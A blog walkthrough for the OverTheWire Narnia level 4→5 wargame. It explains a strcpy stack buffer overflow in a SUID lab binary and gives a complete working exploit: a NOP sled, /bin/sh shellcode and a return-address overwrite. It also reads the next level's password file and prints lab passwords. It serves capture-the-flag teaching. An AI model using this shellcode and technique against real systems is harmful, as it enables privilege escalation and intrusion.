OverTheWire Narnia Level 4 → 5 tutorial!!
Published on 22 Aug 2023
Login
Use the password from Level 3→4 (in my run it was thaenohtai
):
ssh narnia4@narnia.labs.overthewire.org -p 2226
# password: thaenohtai
Task
We have a binary /narnia/narnia4
. Running it shows nothing:
cd /narnia
./narnia4
# (no output, just exits)
So we’ll check the source.
Source Code
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
extern char **environ;
int main(int argc, char **argv){
int i;
char buffer[256];
for(i = 0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
if(argc > 1)
strcpy(buffer,argv[1]);
return 0;
}
Analysis
- A 256-byte local buffer.
strcpy(buffer, argv[1]);
→ no bounds check.- So input longer than 256 will overflow and overwrite the saved return address.
environ
is cleared → shellcode in env vars is useless this time.- We must inject our shellcode directly via argv.
A little bit of Theory
- Offset to RET: 256 (buffer) + 4 (saved EBP) = 260 bytes.
- Payload:
NOP sled + shellcode + padding + RET
. RET
must point inside the sled (avoid\x00
).- Use
setarch i386 -R env -i
to disable ASLR and keep env empty (so addresses match inside & outside GDB).
Shellcode: standard 23-byte /bin/sh
:
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
b"\x68\x2f\x62\x69\x6e"
b"\x89\xe3\x89\xc1\x89\xc2"
b"\xb0\x0b\xcd\x80"
Solution
1) Confirm offset
gdb /narnia/narnia4
(gdb) run $(python3 -c 'print("A"*260 + "BBBB")')
EIP shows 0x42424242
→ confirmed RET offset.
2) Find return address
Set a breakpoint after strcpy
:
(gdb) break *main+121
(gdb) run $(python3 -c 'print("A"*260)')
(gdb) x/200x $esp-400
You’ll see a big NOP sled in memory (0x90 bytes). Choose an address right in the middle, e.g. 0xffffd7b4
.
3) Exploit with sled + shellcode
setarch i386 -R env -i /narnia/narnia4 "$(python3 - <<'PY'
import sys,struct
SLED = b"\x90"*236
SHELL = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
b"\x68\x2f\x62\x69\x6e"
b"\x89\xe3\x89\xc1\x89\xc2"
b"\xb0\x0b\xcd\x80")
PAD = b"\x90"*(260 - len(SLED) - len(SHELL))
RET = 0xffffd7b4 # pick from your GDB dump
sys.stdout.buffer.write(SLED+SHELL+PAD+struct.pack("<I",RET))
PY
)"
4) Verify
whoami
# narnia5
cat /etc/narnia_pass/narnia5
Password
From my run:
faimahchiy
Yours may differ depending on snapshot.
Troubleshooting
- Segfault immediately → RET wrong. Redo
x/200x $esp-400
and pick another address inside the NOP block. - Illegal instruction → your sled too small; expand to 200+ NOPs.
- Still as narnia4 → confirm binary is SUID narnia5:
ls -l /narnia/narnia4
# -r-sr-x--- 1 narnia5 narnia4 ...
- Payload truncated → Always use
sys.stdout.buffer.write(...)
in Python 3 (neverprint
).
Copy-paste quick run
setarch i386 -R env -i /narnia/narnia4 "$(python3 - <<'PY'
import sys,struct
SLED = b"\x90"*236
SHELL = (b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
b"\x68\x2f\x62\x69\x6e"
b"\x89\xe3\x89\xc1\x89\xc2"
b"\xb0\x0b\xcd\x80")
PAD = b"\x90"*(260 - len(SLED) - len(SHELL))
RET = 0xffffd7b4
sys.stdout.buffer.write(SLED+SHELL+PAD+struct.pack("<I",RET))
PY
)"
whoami
cat /etc/narnia_pass/narnia5
Congrats 🎉 You exploited another classic stack buffer overflow with argv injection. Onward to Level 5 → 6!
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨
all tags
GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86